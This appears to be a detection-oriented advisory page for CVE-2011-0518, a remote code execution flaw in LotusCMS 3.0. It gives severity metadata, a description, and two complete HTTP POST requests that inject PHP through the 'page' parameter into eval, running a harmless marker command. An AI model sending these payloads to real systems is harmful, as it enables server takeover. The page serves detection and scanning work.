🔙 목록으로 돌아가기

CVE-2011-0518: LotusCMS 3.0 - Remote Code Execution

TitleLotusCMS 3.0 - Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactRemote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise.
RemediationEnable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise.
CVSS Score10
EPSS Score0.61971
CVE IDCVE-2011-0518
CWE IDCWE-77
Tags cve cve2011 lotuscms rce vuln

🔍 Vulnerability Description

LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the ‘page’ parameter, which will be passed to a eval call and allow remote code execution.

🌐 HTTP Request

POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

page=index');${system('echo lotuscms_rce | md5sum')};#
POST /lcms/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

page=index');${system('echo lotuscms_rce | md5sum')};#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-0518.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-0518.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A